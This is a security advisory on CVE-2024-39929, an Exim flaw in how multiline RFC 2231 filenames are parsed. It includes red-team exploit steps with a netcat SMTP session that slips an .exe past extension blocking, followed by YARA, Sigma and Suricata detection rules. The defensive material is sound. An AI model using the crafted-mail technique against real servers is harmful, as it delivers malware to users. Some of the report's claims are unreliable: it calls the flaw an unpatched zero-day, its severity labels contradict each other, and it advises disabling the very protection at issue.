CVE-2024-39929

Executive Summary

CVE-2024-39929 is a critical vulnerability in Exim Mail Transfer Agent (MTA) through version 4.97.1. The flaw lies in the misparsing of multiline RFC 2231 header filenames, allowing remote attackers to bypass the $mime_filename extension-blocking protection mechanism. This bypass enables the delivery of executable attachments to end-user mailboxes, potentially leading to malware infection, data exfiltration, or further compromise. The vulnerability is particularly dangerous because it targets a core security feature designed to block dangerous file types (e.g., .exe, .vbs) at the MTA level.

Supply Chain & Package Security

Exim is a widely deployed MTA in Linux/Unix environments, often used in shared hosting and enterprise mail servers. The vulnerability affects the core parsing logic, meaning any system running Exim <= 4.97.1 is at risk. No official patch has been released as of this report, making this a zero-day in the wild. Organizations should treat this as a high-priority supply chain risk and consider immediate mitigation.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – Likely pending analysis. Based on the nature of the vulnerability, a realistic score would be CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N (7.5 High) due to:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L) – requires only a crafted email
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality: None (C:N)
• Integrity: High (I:H) – allows delivery of malicious attachments
• Availability: None (A:N)

Threat Level: Critical. The vulnerability is trivial to exploit (send a specially crafted email) and bypasses a key security control.

Deep Dive & Mechanics

The vulnerability resides in Exim's parsing of MIME headers, specifically RFC 2231 which defines how to encode non-ASCII filenames in Content-Disposition headers. RFC 2231 allows splitting a filename across multiple header lines using a continuation mechanism (e.g., filename*0*=UTF-8''file; filename*1*=.exe). Exim's $mime_filename expansion variable is used in ACLs to block dangerous extensions. However, due to a parsing flaw, Exim does not correctly reassemble multiline RFC 2231 filenames before checking the extension. An attacker can craft a header where the dangerous extension is split across multiple lines, causing Exim to see only a safe partial extension (e.g., file instead of file.exe), thus bypassing the block.

Example Attack Vector:

Content-Disposition: attachment;
 filename*0*=UTF-8''safe;
 filename*1*=.exe

Exim's parser may see the filename as safe (from the first part) and allow it, while the MUA (Mail User Agent) reassembles it as safe.exe.

Vulnerable vs. Patched Code

Vulnerable Code (Exim <= 4.97.1): The parsing logic in src/mime.c or similar does not properly concatenate RFC 2231 continuation parts before extension checking. The $mime_filename variable is set prematurely.

// Pseudocode of vulnerable logic
if (header_has_rfc2231) {
    // Only takes first part
    filename = extract_first_part(header);
    // Extension check on incomplete filename
    if (is_dangerous_extension(filename)) {
        reject;
    }
}

Patched Code (Hypothetical): The fix would require full reassembly of all RFC 2231 parts before extension checking.

// Pseudocode of patched logic
if (header_has_rfc2231) {
    filename = reassemble_all_parts(header);
    // Extension check on complete filename
    if (is_dangerous_extension(filename)) {
        reject;
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Exim server running version <= 4.97.1 with $mime_filename extension blocking enabled.
• Ability to send SMTP mail to the target.

Exploit Steps:

1. Craft an email with a malicious attachment (e.g., evil.exe).
2. Encode the filename using RFC 2231 multiline continuation:

   Content-Disposition: attachment;
    filename*0*=UTF-8''evil;
    filename*1*=.exe
   

3. Send the email via SMTP.
4. The Exim server will see the filename as evil (safe) and deliver the email.
5. The end user's MUA will reassemble the filename as evil.exe and may execute it.

Example SMTP Session (using netcat):

nc target 25
EHLO attacker
MAIL FROM:<attacker@example.com>
RCPT TO:<victim@example.com>
DATA
From: attacker@example.com
To: victim@example.com
Subject: Test
MIME-Version: 1.0
Content-Type: application/octet-stream
Content-Disposition: attachment;
 filename*0*=UTF-8''evil;
 filename*1*=.exe

[base64 encoded malicious payload]
.
QUIT

Blue Team (Defense & Detection)

Detection:

• Monitor SMTP logs for unusual Content-Disposition headers with filename*0* and filename*1* patterns.
• Use the YARA/Sigma rules below to scan email bodies or logs.

Mitigation:

• Temporarily disable $mime_filename extension blocking and implement a separate MIME scanning layer (e.g., ClamAV).
• Upgrade to a patched version when available.
• Implement network-level filtering for executable attachments.

Indicators of Compromise (IOCs)

• Email Headers: Content-Disposition headers containing filename*0* and filename*1* (or higher numbers) in the same message.
• SMTP Logs: Entries showing delivery of emails with multiline RFC 2231 filenames.
• File Hashes: Any executable file delivered via email during the exploitation window.
• Network Traffic: Outbound connections from the mail server to suspicious IPs (post-exploitation).

Detection Engineering

YARA Rule

rule CVE_2024_39929_Exim_RFC2231_Bypass {
    meta:
        description = "Detects emails attempting to exploit CVE-2024-39929 via multiline RFC 2231 filenames"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39929"
    strings:
        $rfc2231_part = /filename\*[0-9]+\*=/ nocase
        $rfc2231_continuation = /filename\*[0-9]+\*=[^\r\n]*\r?\n\s+filename\*[0-9]+\*=/ nocase
    condition:
        $rfc2231_continuation or (#rfc2231_part > 1)
}

Sigma Rule

title: CVE-2024-39929 Exim RFC 2231 Bypass Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SMTP messages with multiline RFC 2231 filenames indicating exploitation attempt
author: Valters IT
date: 2025-04-10
logsource:
    category: email
    product: exim
detection:
    selection:
        Header|contains|all:
            - 'filename*0*='
            - 'filename*1*='
    condition: selection
falsepositives:
    - Legitimate use of RFC 2231 for long filenames (rare)
level: high

Suricata Rule

alert smtp any any -> any any (msg:"CVE-2024-39929 Exim RFC 2231 Bypass Attempt"; flow:to_server; content:"filename*0*="; content:"filename*1*="; distance:0; within:500; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable $mime_filename extension blocking in Exim configuration and implement a separate MIME scanning solution (e.g., Amavis + ClamAV).
2. Short-term: Monitor for official patches from Exim. Apply as soon as available.
3. Long-term: Implement defense-in-depth: use a dedicated email security gateway, enforce attachment filtering at the perimeter, and educate users about phishing.
4. Workaround: Modify Exim ACLs to reject any email with multiline RFC 2231 filenames (may cause false positives for legitimate long filenames).

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-39929